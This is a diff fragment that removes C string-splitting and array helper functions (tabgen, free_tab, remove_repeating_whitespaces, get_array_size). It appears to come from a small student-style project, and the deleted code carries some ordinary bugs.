-    if (str == NULL || str[0] == '\0')
-        return 0;
-    for (; str[i] != '\0' && str[i] != separator; i++, res++);
-    return (res);
-}
-
-static size_t get_nb_rows(const char *str, char separator)
-{
-    int i;
-    size_t res = 0;
-
-    if (str == NULL || str[0] == '\0')
-        return 0;
-    if (str == NULL || str[0] == '\0')
-        return (0);
-    for (i = 0; str[i] != '\0'; i++)
-        if (str[i] == separator)
-            res++;
-    return (res + 1);
-}
-
-char **tabgen(const char *str, char separator)
-{
-    size_t i = 0;
-    size_t malloc_size = 0;
-    size_t index_str = 0;
-    char **res = NULL;
-
-    if (str == NULL || *str == 0)
-        return NULL;
-
-    res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
-    for (; i < get_nb_rows(str, separator); i++) {
-        malloc_size = get_nb_cols(&str[index_str], 0, separator);
-
-        res[i] = malloc(sizeof(char) * (malloc_size + 4));
-        res[i] = strncpy(res[i], &str[index_str], malloc_size);
-        res[i][malloc_size] = '\0';
-
-        index_str = index_str + malloc_size + 1;
-    }
-
-    res[i] = NULL;
-    return (res);
-}
-
-void free_tab(uint8_t **tab)
-{
-    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
-        free(tab[ctr]);
-    free(tab);
-}
-
-char *remove_repeating_whitespaces(char *s)
-{
-    size_t i = 0;
-    size_t x = 0 ;
-
-    if (!s || !(*s))
-        return NULL;
-
-    for(; s[i]; ++i)
-        if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
-            s[x++] = s[i];
-
-    s[x] = '\0';
-    return s;
-}
-
-size_t get_array_size(uint8_t **array)
-{
-    size_t ctr = 0;
-
-    if (!array)
-        return 0;
-    while (array[ctr++]);
-    return ctr;
-}